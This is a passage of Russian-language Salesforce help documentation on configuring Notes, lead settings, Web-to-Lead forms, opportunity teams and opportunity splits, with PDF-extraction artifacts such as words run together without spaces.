Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макетов
страниц:
• «Просмотр настройки»

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Чтобыпользователимоглиделатьпримечаниявформатеобогащенноготекста, следует
настроить соответствующее средство «Примечания».

Прежде чем приступить к настройке примечаний, следует принять во внимание
следующее.

• Инструмент «Примечания», включенныйдляорганизации, используетсяприсоздании
любых новых примечаний. Примечания, созданные посредством устаревшего
инструментасозданияпримечаний, открываютсяпосредствомданногоинструмента.

• Приотключенииэтогоинструментапользователилишатсядоступакпримечаниям,
созданным с его помощью.

• Пользователи с лицензией клиентского или партнерского портала не могут
использовать инструмент «Примечания». Вместо этого, им предоставляется
устаревший инструмент создания примечаний.

Просмотреть обзор

1. Убедитесь, что связанный список с «Примечаниями», включен в макет страницы.

2. Убедитесь, чтоорганизацияподдерживаетинструмент «Примечания». Введитестроку
«Параметры "Примечаний"» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры "Примечаний"». Затем убедитесь в наличиифлажка
«Включить примечания».

3. Чтобы пользователи могли добавлять примечания с помощьюпубликатора Chatter,
меню «Глобальныедействия» ипанелидействийSalesforce1, добавьтекнопку«Создать
примечание»напанельбыстрыхдействийвпубликатор Salesforce Classicи Salesforce1
и в раздел действий Lightning Experience в глобальном макете публикатора.

4. Припереопределенииглобальногомакетапубликаторадлялюбогомакета страницы
объектадобавьтебыстроедействие«Создатьпримечание» внастраиваемыемакеты.

5. Чтобы упростить добавление примечаний в Salesforce1, следуйте следующим
рекомендациям.

a. Убедитесь, что пользователи могут создавать задачи из примечаний в приложении Salesforce1. Введите строку
«Параметры действий» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт«Параметрыдействий».
Выберите пункт «Разрешить создание задач из примечаний».

b. Убедитесь, что меню навигации приложения Salesforce1 содержит пункт «Примечания». Введите строку
«Навигация» в поле «Быстрый поиск», выберите «Навигация Salesforce1»ипереместите пункт «Примечания»
из списка «Доступные» в список «Избранные». Рекомендуем разместить его над элементом «Элементы
интеллектуального поиска».

СМ. ТАКЖЕ:

Чем отличается инструмент «Примечания» от устаревшего инструмента создания примечаний?

Рекомендации по использованию примечаний в приложении Salesforce1
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Настройка макетов страниц для использования инструмента «Примечания»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

В случае использования Salesforce до выпуска Winter ’16 следует внести некоторые
изменения в макеты страниц, чтобы пользователи смогли просматривать примечания.

1. Обязательно ознакомьтесь со способами редактирования макетов страниц.

2. Выберите объект и используемый пользователями макет.

3. Выберитекатегорию «Связанныесписки» в спискекатегорийэлементовстраницы.

4. Перетащите связанный список «Примечания» в ту часть страницы, где он должен
находиться.
Есливорганизациииспользоваласьстараяверсияинструмента, неудаляйтесвязанный
список «Примечанияи вложения», чтобыпользователинепотерялидоступк старым
записям. Примечания, добавленныепосредствомрасширеннойверсииинструмента,
отображаются в связанном списке «Примечания».

5. Сохраните макет и подтвердите перезапись пользовательских настроек связанных
списков.

6. Повторите действия для других объектов, с которыми используется инструмент
«Примечания».

СМ. ТАКЖЕ:

Редактирование макетов страниц для стандартных объектов

Редактирование макетов страниц для настраиваемых объектов

Настройка примечаний

Чем отличается инструмент «Примечания» от устаревшего инструмента создания
примечаний?

Настройка параметров интересов

Настройка функции управления интересами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы повысить эффективность продаж, рекомендуем создать надежную систему по
привлечению интересов. Интерес — это потенциальный клиент, интересующийся
деятельностью компании.

Благодаряинтересам, сотрудникиотделапродажполучаютмгновенныйдоступкновым
потенциальным клиентам, гарантируя их полную обработку. Функция управления
интересамипозволяет сотрудникамотделовпродажимаркетинга управлять входящими
интересами, отслеживать источники интересов и анализировать рентабельность
инвестиций в маркетинговые программы.

Чтобыначатьработу сфункциейуправленияинтересами, выберите вменю «Настройка»
следующее.

• Перейдите к параметрам управления объектами для интересов. В разделе полей
создайтенастраиваемыеполяинтересов, которыеотслеживают сведения, связанные
с вашей компанией. Кроме того, настраиваемые поля интересов могут быть соотнесены с полями организаций,
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контактови возможностейдляпреобразованияданныхприпреобразованииинтересов. Чтобывыбрать стандартный
статус для новых и преобразованных интересов, измените раскрывающийся список «Статус интереса».

• Введитестроку «Параметры интересов» вполе «Быстрый поиск» ивыберитепункт«Параметрыинтересов», чтобы
указать параметры интересов по умолчанию.

• Введите строку «Правила назначения» в поле «Быстрый поиск», затем выберите «Правиланазначенияинтересов»,
чтобы задать правила назначения интересов для автоматического перенаправления интересов.

• Введите строку «Web-to-Lead» в поле «Быстрый поиск» и выберите пункт «Web-to-Lead», чтобы автоматически
собирать интересы с вашего веб-сайта.

Чтобысоздатьочередипродаждляинтересовилинастраиваемыхобъектов, введите «Очереди» вполе «Быстрый поиск»,
затем выберите «Очереди».

Управление интересами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем начать работу с интересами, выполните указанные ниже действия.

• Настройте стандартные параметры интересов.

• Создайте очереди интересов для управления их распределением.

• Настройте правила назначения для автоматического назначения интересов.

• Настройте функцию Web-to-Lead для автоматического сбора интересов с
корпоративного веб-сайта.

• Импортируйте текущие интересы организации.

• Создайте настраиваемые поля интереса.

• Соотнесите настраиваемые поля интереса с другими настраиваемыми полями для
преобразования интереса.

• Настройте раскрывающийся список «Статус интереса» для выбора стандартного
статуса новых и преобразованных интересов.

СМ. ТАКЖЕ:

Интересы

Начальная страница интересов
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Определение параметров по умолчанию для создания интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
интересов:
• «Настройка

приложения»

Чтобы повысить эффективность обработки интересов и предотвратить создание
повторяющихся записей при преобразовании интересов в контакты, организации и
возможности, рекомендуемоптимизироватьфункцииуправленияинтересамидля групп
сбыта.

1. Введитестроку «Параметры интересов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры интересов», затем нажмите кнопку «Правка».

2. Определитеответственногозаинтереспоумолчаниюипараметрыпреобразования
интересов.

3. Сохраните параметры.

Соотнесение настраиваемых полей интересов для преобразования интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для соотнесения полей
интересов:
• «Настройка

приложения»

Соотнесение настраиваемых полей интересов с полями записей, в которые они
преобразуются, позволяетповысить эффективностьиспользования записей, созданных
группами сбыта из преобразованных интересов.

Когда торговые представители преобразуют перспективные интересы, сведения из
стандартныхполейинтересовотображаютсявстандартныхполяхконтактов, организаций
и возможностей. Если вы задаете настраиваемые поля интересов, укажите способ
преобразованиянастраиваемыхсведенийвнастраиваемыеполяорганизаций, контактов
и возможностей.

1. В разделе настроек управления объектами для интересов перейдите в раздел полей,
затем щелкните «Соотнесение полей интересов».

2. Выберите соответствующее настраиваемое поле организации, контакта или
возможности для каждого настраиваемого поля интереса.

3. Не забывайте сохранять внесенные изменения!

СМ. ТАКЖЕ:

Преобразование квалифицированных интересов
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Рекомендации по соотнесению настраиваемых полей интересов для преобразования интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ознакомьтесь с рекомендациями по соотнесению настраиваемых полей интересов и
настраиваемых полей в контактах, организациях и возможностях. Соотнесение
настраиваемых полей помогает торговым представителям сохранять важные сведения
при преобразовании перспективных интересов с целью отслеживания новых
потенциальных сделок.

Полезная информацияСделайте следующее

Например, числовые поля интересов должны
соотноситься с другими числовыми полями, а поля
типа «Область подробного текста» — с другими
полями того же типа «Область подробного текста».
Ниже перечислены некоторые исключения.

Соотнеситенастраиваемыеполя
интересов с другими
настраиваемыми полями с тем
же типом данных.

• Поля типа «Текст» могут соотноситься с полями
типа «Раскрывающийся список». Но если
соотнесенное поле типа «Текст» не может
вместить все поле интереса типа «Значение
раскрывающегося списка», то данные будут
сокращены.

• Поля типа «Текст» или «Область текста» могут
соотноситься с полями типа «Область
подробного текста».

• Полятипа «Автонумерация» могут соотноситься
с полями типа «Текст», «Область текста» или
«Раскрывающийся список».

• Рекомендуемне соотноситьнастраиваемыеполя
формулысдругимиполямиформулыилилюбым
другим типом поля.

Например, поле интереса типа «Валюта»
поддерживает 3 и 2 знака после запятой. Соотнесите

Соотнеситенастраиваемыеполя
интересов «Число», «Валюта»или

егосдругимнастраиваемымполемвалюты, вкотором
могут быть 3 и 2 знака после запятой.

«Процент» с другими полями с
такимиженазваниями, такойже
длиныистакимжеколичеством
знаков после запятой.

Если вы измените типы данных настраиваемых
полей, то система Salesforce удалит соотнесения
интересов для этих настраиваемых полей.

Не изменяйте типы данных
настраиваемыхполейинтересов.

СМ. ТАКЖЕ:

Соотнесение настраиваемых полей интересов для преобразования интересов
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Концепции веб-интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция Web-to-Lead позволяет собирать сведения веб-сайта вашей компании и
автоматически создавать до 500 новых интересов в день.

Если у вашей компании уже есть форма, в которую потенциальные клиенты могут
вводить свои контактные данные, вам определенно будет полезно создать страницу, на
которую потенциальные клиенты могут переходить, чтобы реагировать на кампанию.
Всего лишь небольшой дополнительный код на языке HTML позволит направлять эту
информацию в Salesforce с целью создания интересов.

СМ. ТАКЖЕ:

Определение параметров по умолчанию для создания интересов

Рекомендации по настройке функции Web-to-Lead

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы настроить функцию
Web-to-Lead, выполните
указанные ниже действия.
• «Настройка

приложения»

НастройтесистемуSalesforce так, чтобыонасобираласведениявеб-сайтавашейкомпании
и автоматически создавала до 500 новых интересующихся клиентов в день.

Сделайте следующееЦель

Создайте настраиваемые поля интересов и определите
порядок их соотнесения с настраиваемыми полями
организаций, контактов и возможностей во время
преобразования интересов.

Отслеживать те сведения
об интересах, которые не
предоставляют
стандартные поля для
интересов Salesforce.

Создайте общедоступныешаблоны эл. почты. Чтобы
настроитьправилаэлектронногоответадляиспользования

Автоматическиотправлять
потенциальным клиентам

разных шаблонов эл. почты, определяемыхсообщения по
отправленными сведениями, создайте один стандартныйэлектронной почте, после
шаблон, которыйдолженотправлятьсяпринеприменении
заданных правил ответа.

того как они предоставят
сведения через ваш
веб-сайт.

Используйте для этого раскрывающийся список «Статус
интереса».

Задать стандартныйстатус
новыхипреобразованных
интересов

Назначить интересы
торговым представителям
и очередям.

• Создайте очереди интересов, чтобы назначить
интересы очередям, а не отдельным торговым
представителям.

• Используя настройку параметров интересов, укажите
ответственногоза теинтересыпоумолчанию, которые
не соответствуют критериям правила назначения.

• Создайте правило назначения интересов, чтобы
определить, как создаваемые с помощью веб-сайта
интересы должны назначаться пользователям или
очередям, и активируйте это правило. Если правило
не активно, все создаваемые с помощью веб-сайта
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Сделайте следующееЦель

интересы назначаются ответственному по умолчанию, указанному на
странице «Параметры интересов».

СМ. ТАКЖЕ:

Концепции веб-интересов

Создание интересов для групп сбыта с веб-сайта

Создание интересов для групп сбыта с веб-сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы настроить функцию
Web-to-Lead, выполните
указанные ниже действия.
• «Настройка

приложения»

Автоматическое создание до 500 интересов в день с использованием данных о
потенциальных клиентах, полученных от посетителей веб-сайта компании. При
настраиванииформы Web-to-Lead системаSalesforce сохраняетсведенияопотенциальных
клиентах, оставивших свои контактные данные. Пользователь также может
перенаправлять потенциальных клиентов на другие страницы веб-сайта, важные для
успеха кампании.

1. Введите строку «Web-to-Lead» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Web-to-Lead».

2. Чтобы включить или изменить параметрыфункции Web-to-Lead, нажмите кнопку
«Правка».

3. Чтобы настроить автоматическую рассылку сообщений эл. почты потенциальным
клиентам, выберите шаблон ответа по умолчанию. Если используемыйшаблон эл.
почты определяется полученными от потенциальных клиентов сведениями, то
стандартныйшаблонответаиспользуетсяв томслучае, еслиправилаавтоматического
ответа не применяются. Шаблоны должны быть помеченыфлажком «Доступно для
использования».

4. Сохраните внесенные изменения.

5. Чтобы создать форму для сбора сведения о потенциальных клиентах на веб-сайте,
щелкните «Создатьформу Web-to-Lead», затем выберите нужные поля.

6. Выберите поля для добавления в форму Web-to-Lead. Чтобы добавить или удалить поля в списках «Доступные поля»
и «Выбранныеполя», воспользуйтеськнопками «Добавить» и «Удалить». Чтобыизменитьпорядокотображенияполей,
воспользуйтесь кнопками «Вверх» и «Вниз».

• Выберите поле «Кампания».

• Если организация использует мультивалюту, добавьте поле «Валюта интереса» при добавлении полей валюты.
В противном случае все стоимости будут отображаться в валюте компании.

• Чтобы разрешить потенциальным клиентам выражать заинтересованность по нескольким продуктам,
воспользуйтесь настраиваемым раскрывающимся списком со множественным выбором.

• Если организация использует типы записей интересов, выберите поле «Тип записи интереса», позволяющее
пользователям выбирать тип записи для веб-интересов.

7. Еслиорганизацияиспользуетсредствопереводаилипереименованныевкладки, выберитеязыкдляметок, отображаемых
в форме Web-to-Lead. Источник формы Web-to-Lead всегда отображается на личном языке.
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8. Введите полный URL-адрес страницы, открывающейся после отправки сведений (например, начальная страница
компании или страница благодарности), и нажмите кнопку «Создать».

9. Скопируйте и передайте созданный HTML-код веб-мастеру компании для последующего добавления на веб-сайт.

10. Нажмите кнопку «Готово».

Чтобыпротестироватьформу Web-to-Lead, добавьтестроку <input type="hidden" name="debug" value="1">
в код. Данная строка открывает страницу отладки после отправкиформы. Удалите эту строку перед выпуском страницы
Web-to-Lead на веб-сайте пользователя.

Интересам, созданным на корпоративном веб-сайте, изначально назначается стандартный статус, выбранный в
раскрывающемся списке «Статус интереса». Если веб-интересы создаются в рамках кампании, то статусу участника
новых интересов назначается значение поля «Статус участника», указанное в форме, или стандартное значение, если
форма не содержит поля «Статус участника».

Кроме того, новым интересам назначается статус «Не прочитано», который заменяется статусом «Прочитано» после
просмотра или редактирования интереса ответственным сотрудником. Списковое представление «Мои непрочитанные
интересы» позволяет быстро просмотреть все новые интересы.

Прим.: Формат для полей даты и валюты, собранных через Интернет, определяется стандартными параметрами
организации «Стандартный регион» и «Регион валюты».

Ежедневноеограничениесоставляет500 запросов Web-to-Lead. Еслиорганизацияпревышаетежедневноеограничение
дляфункции Web-to-Lead, то авторинтересапоумолчанию, указанныйна страниценастройкифункции Web-to-Lead,
получает сообщение электронной почты, содержащее сведения о дополнительных интересах. Дополнительную
информацию по ограничениям Web-to-Lead см. в разделе «Сколько интересов можно собрать с веб-сайта?» на
странице 1484.

Еслиновыйинтересне удается создатьиз-заошибокпринастройкефункции Web-to-Lead, тоуведомлениеоданной
проблеме отправляется в службу поддержки, которая поможет ее решить.

СистемаSalesforce запускаетправилапроверкиполейпередсозданиемзаписей, отправленныхспомощьюфункции
Web-to-Lead, и создает только те записи, которые содержат допустимые значения.

Преждечемсоздать записьпосредствомфункции Web-to-Lead, убедитесь, что все универсальныеобязательныеполя
содержат значения.

Система Salesforceнеподдерживаетполя типа «Область обогащенного текста» вформах Web-to-Lead. Присоздании
интереса данные, введенные в поля типа «Область обогащенного текста», сохраняются в виде обычного текста.

СМ. ТАКЖЕ:

Рекомендации по настройке функции Web-to-Lead

Концепции веб-интересов

2130

Настройка параметров интересовНастройка и обслуживание инструментов продаж



Настройка групп сбыта

Настройка групп, работающих с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настройки для групп,
работающих с
возможностями, доступны
в: Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для включенияфункции группового сбыта:

«Настройка приложения»Для создания или изменения настраиваемых
полей:

«Настройка приложения»Для определения или изменения правил
проверки полей:

«Настройка приложения»Для создания бизнес-правил:

«Настройка приложения»Для настройки ролей рабочей группы:

«Настройка приложения»Для добавления настраиваемой кнопки или
ссылки:

«Настройка приложения»Для редактирования макетов страниц:

«Автор Apex»Для определения триггеров Apex:

Спомощьюнастройкиролей, макетов страницидругихпараметровможноповысить эффективность групп, работающих
в возможностями.

Прим.: Группы, работающие с возможностями, доступны в системе Lightning Experience, однако для использования
некоторых связанных функций, таких как доли возможности, или для доступа к параметрам групп, работающих с
возможностями, нужнопереключиться в представление Salesforce Classic. Дополнительные сведения см. в описании
ограничений Lightning Experience для функций продаж.

Группа, работающая с возможностями, — это совокупностьпользователей, работающихсовместнонад возможностями.
Типичная группа, работающая с возможностями, может состоять из менеджера по работе с клиентами, специалиста по
сбыту и торгового представителя.

Если организация использует функцию группового сбыта, настройте группы, работающие с возможностями.

• Создайте настраиваемоеполе для группы, работающей с возможностями, которое должноотображаться на странице
«Участник группы, работающей с возможностями» и может быть добавлено в отчеты по группам, работающим с
возможностями. Разрешается создавать не более 50 настраиваемых полей.

Прим.: Удалениенастраиваемогополяинициируетудалениефильтров, использующихданноеполе, ивозможное
изменениерезультатоввыполненияправилназначенияилирасширения, опирающихсянаданныенастраиваемого
поля.

• Определите и активируйте правила проверки, которым должны соответствовать данные рабочей группы перед
сохранением записи.

• Создайте бизнес-правила.

• Определите роли группы, работающей с возможностями.

• Замените текущие роли рабочей группы.
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• Добавьте настраиваемую кнопку или ссылку в группу, работающую с возможностями.

• Настройте макет страницы «Участник группы, работающей с возможностями» путем добавления настраиваемых
полей, кнопок, ссылок или настраиваемых связанных списков.

• Измените свойства связанного списка «Группа, работающая с возможностями» в каждом макете страницы.

Чтобыдобавитьсведенияобучастникегруппы, работающейсвозможностями, народительскуюстраницу, рекомендуем
связать участника рабочей группы с родителем. Например, чтобы добавить сведения об участнике рабочей группы
на связанную страницу сведений об организации, добавьте настраиваемое поле поиска «Организация» в редактор
групп, работающих с возможностями, и назначьте его родительской организации для каждого участника группы,
работающей с возможностями.

• Создайте типы настраиваемых отчетов для групп, работающих с возможностями.

• Определите и активируйте код Apex, который выполняется перед некоторым событием языка манипулирования
данными (DML) или после него (например, перед добавлением или после удаления записей рабочей группы из базы
данных).

Прим.: Ниже перечислены некоторые ограничения для групп, работающих с взможностями.

• Взаимосвязь «Поиск» не может быть создана между объектом (например, организация) и участником группы,
работающей с возможностями.

• Правила проверки и триггеры Apex не поддерживаются при добавлении стандартной рабочей группы в
возможность.

СМ. ТАКЖЕ:

Группы, работающие с возможностями

Включение группового сбыта

Включение группового сбыта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
группового сбыта:
• «Настройка

приложения»

Функция группового сбыта предоставляет пользователям доступ к созданию и
использованию групп, работающих с возможностями. Группы, работающие с
возможностями, доступны в Lightning Experience, но нужно перейти на Salesforce Classic,
чтобы получить доступ к настройкам групп, работающих с возможностями.

1. В настройке введите «Параметры группы, работающей с возможностями» в поле
«Быстрый поиск», затем выберите «Параметры группы, работающей с
возможностями».

2. Установите флажок «Включить функцию группового сбыта» и нажмите кнопку
«Сохранить».

3. Выберите нужные макеты страниц возможностей.

4. Чтобы добавить связанный список в настраиваемые макеты страниц, установите
флажок «Добавить в настроенные связанные списки пользователей».

5. Нажмите кнопку «Сохранить».

Еслифункциягрупповогосбытавключена, добавьтенастраиваемыеполя, настраиваемые
кнопки и ссылки, правила проверки, бизнес-правила и триггеры Apex в группы,
работающие с возможностями. При необходимости измените макеты страниц групп,
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работающих с возможностями, создайте типы настраиваемых отчетов для групп, работающих с возможностями, и
включите функцию «Доли возможности».

СМ. ТАКЖЕ:

Настройка групп, работающих с возможностями

Настройка ролей группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки ролей
рабочей группы:
• «Настройка

приложения»

Каждомуучастнику группы, работающейсвозможностями, назначаетсяроль (например,
«Менеджерпоработе с клиентами» или «Торговыйпредставитель»). Принеобходимости
настройте роли группы, работающей с возможностями.

1. Введитестроку «Роли рабочей группы» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «Роли рабочей группы».

2. Измените значения раскрывающегося списка для текущих ролей рабочей группы.
(Роль «Ответственныйза возможность» (приееналичии) должнабытьоставленабез
изменений; данная роль используется долями возможности.)

Прим.: Группы, работающие с возможностями, используют те же роли, что
группы, работающие с организациями. Удаление роли группы, работающей с
возможностями, инициирует удаление данной роли для группы, работающей
с организациями.

СМ. ТАКЖЕ:

Настройка групп, работающих с возможностями

Замена ролей группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки ролей
рабочей группы:
• «Настройка

приложения»

Назначьте роли для участников группы, работающей с возможностями, в соответствии
с бизнес-процессами и нуждами нашей организации.

Прим.: Группы, работающие с возможностями, доступны в Lightning Experience,
но нужно перейти на Salesforce Classic, чтобы назначить роли для групп сбыта.
Дополнительные сведения см. в описании ограничений Lightning Experience для
функций продаж.

Изменение ролей группы, работающей с возможностями, поддерживает глобальное
обновление значений во всех текущих записях, заменяя значения раскрывающихся
списков. Введите строку «Заменить роли в рабочей группе» в поле «Быстрый поиск» в
меню «Настройка», затем выберите «Заменить роли в рабочей группе».

Роль «Ответственный за возможность» (при ее наличии) должна быть оставлена без
изменений. Данная роль используется долями возможности.
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Прим.: Группы, работающие с возможностями, используют тежероли, что группы, работающие сорганизациями.
При удалении роли группы, работающей с возможностями, она будет недоступна как роль группы организации.

СМ. ТАКЖЕ:

Настройка групп, работающих с возможностями

Редактирование многострочных макетов групп, работающих с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
многострочных макетов
групп, работающих с
возможностями:
• «Настройка

приложения»

Пользователь может выбрать поля, которые должны отображаться на многострочной
странице «Участник группы, работающей с возможностями». Чтобы открыть данную
страницу, добавьте нового участника в группу, работающую с возможностями.

1. Откройтестраницу «Макетыстраниц» посредствомпараметровуправлениягруппами,
работающими с возможностями.

2. Щелкните ссылку «Правка» напротив имени нужного макета страницы групп,
работающих с возможностями.

3. Щелкните «Редактировать многострочныймакет» в верхнем правом углу.

4. Переместите поля между списками «Доступные поля» и «Выбранные поля».

• Чтобы определить поля, которые должны отображаться в макете, выберите как
минимум одно поле в списке «Доступные поля» и нажмите кнопку «Добавить»
или «Удалить».

• Чтобы изменить порядок отображения полей в макете, выберите как минимум
одно поле в списке «Выбранные поля» и нажмите кнопку «Вверх» или «Вниз».

• Чтобы выбрать несколько отдельных полей, воспользуйтесь комбинацией
CTRL+щелчок.

• Чтобы выбрать группу полей, воспользуйтесь комбинацией SHIFT+щелчок.

5. Чтобы применить внесенные изменения, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка групп, работающих с возможностями
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Отключение группового сбыта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отключения функции
группового сбыта:
• «Настройка

приложения»

Отключение группового сбыта удаляет из всех возможностей все группы, работающие
свозможностями, а такжестандартныегруппы, работающиесвозможностями. Перейдите
на Salesforce Classic, чтобы получить доступ к настройкам групп, работающих с
возможностями.

Прим.: Прежде чем отключить функцию группового сбыта, рекомендуем
отключить функцию «Доли возможности». Отключение функции «Доли
возможности» инициирует необратимое удаление всех данных о долях из
организации.

1. Удалите все настраиваемые поля, настраиваемые кнопки и ссылки, макеты страниц,
правила проверки, бизнес-правила или триггеры Apex, добавленные в группы,
работающие с возможностями. Кроме того, удалите все настраиваемые отчеты,
содержащие сведения о группах, работающих с возможностями, и пакеты Apex,
использующие группы, работающие с возможностями.

2. В настройке введите «Параметры группы, работающей с возможностями» в поле
«Быстрый поиск», затем выберите «Параметры группы, работающей с
возможностями».

3. Установитефлажок «Отключить функцию группового сбыта» и нажмите кнопку
«Сохранить».

4. Выберите значение «Да» инажмитекнопку «OK». Всерабочие группы, назначенныевозможностям, ивсе стандартные
группы, работающие с возможностями, удаляются без возможности восстановления.

Прим.: Функция группового сбыта может быть отключена, если код Apex не ссылается на участников рабочей
группы. Поле «Участник рабочей группы» представлено в коде Apex как OpportunityTeamMember.

СМ. ТАКЖЕ:

Настройка групп, работающих с возможностями

Предварительные требования для включения функции «Доли возможности»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Преждечемвключитьфункцию «Доливозможности», рекомендуемпроверитьиоценить
некоторые условия.

Доступное время
Включениефункции «Доливозможности» инициируетпроцесс, которыйнастраивает
долидлякаждойвозможностиорганизации, ане толькодляоткрытых. Взависимости
отколичества записейвозможностей, данныйпроцессможет занятьнесколькочасов.
Использование системы Salesforce может быть продолжено одновременно
выполнениюпроцесса. Темнеменее, рекомендуемзапускатьданныйпроцессв конце
рабочего дня.

Неактивные валюты
Еслиорганизацияиспользуетнеактивныевалюты, которыебылиактивнымираньше,
то данные валюты могут использоваться текущими записями возможностей. Данные записи будут охватываться
процессом включения долей, но наличие неактивной валюты будет препятствовать его завершению. Чтобы
предотвратить возможный сбой или исправить его последствия, выполните указанные ниже действия.
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• Измените неактивную валюту связанных записей возможностей на активную.

• Активируйте неактивную валюту во время включения долей (при необходимости деактивируйте валюту по
завершении процесса).

• Удалите возможности, содержащиенеактивнуювалюту. Рекомендуемиспользоватьданноерешениеприналичии
небольшогоколичествавозможностей, содержащихнеактивнуювалюту, которыенеиспользуютсяприсоставлении
отчетов или архивировании.

Выполнение пакетных операций
Выполнениепакетнойоперации (например, «Пакетныйперенос» или «Пакетноепереназначениеучастниковрабочей
группы») может препятствовать включениюфункции «Доли возможности». Прежде чем включить функцию «Доли
возможности», убедитесь в завершении всех пакетных операций.

Включение функции «Доли возможности» и типов долей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
«Доли возможности»:
• «Настройка

приложения»

Включение функции «Доли возможности» изменяет текущие записи возможностей в
организации. В зависимости от количества записей, данный процесс может занять
некоторое время, но доступ к долям будет предоставлен для каждой возможности.

Прим.: Прежде чем включить функцию «Доли возможности», рекомендуем
включить функцию группового сбыта.

При включениифункции «Доли возможности» сценарий применяет изменения. Если
организация содержит большое количество возможностей, то выполнение сценария
может занять несколько часов. Выполняемый сценарий не препятствует выполнению
других задач в системе Salesforce. Автоматические электронные уведомленияпозволяют
отслеживать статус сценария.

Ниже перечислены изменения записи возможности, выполняемые при включении
функции «Доли возможности».

• Ответственный за возможность добавляется в каждую группу, работающую с
возможностями. Роль «Ответственный за возможность» является обязательной для
долей и не может быть удалена.

• При включении типов долей, сумма которых составляет 100%, новые доли
возможности содержат стандартную запись для ответственного, изначально
получающего 100% от стоимости доли. (Данные дополнительные записи требуют
наличия дополнительного хранилища данных. Дополнительную информацию о возможных последствиях см. в
разделе «Контроль ресурсов» интерактивной справки Salesforce.)

Прим.: Сценарий временно отключает триггеры, бизнес-правила и правила проверки для записей группы,
работающей с возможностями, пакетное переназначение участников группы, работающей с возможностями, а
также пакетный перенос организаций и возможностей.

1. Введите строку «Доли возможности» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры».

2. Нажмите кнопку «Настроить доли возможности».

3. Чтобыпредставитьбизнес-процессболеенаглядно, рекомендуемвыполнитьлюбоеизперечисленныхнижедействий.

• Переименуйте или деактивируйте стандартные доли дохода и наложения, основанные на поле «Возможность:
стоимость». (Данные стандартные типы долей не могут быть удалены.)

• Чтобы разделить другое поле валюты и указать, должна ли сумма долей составлять 100% данного поля, щелкните
«Добавить новый тип доли».
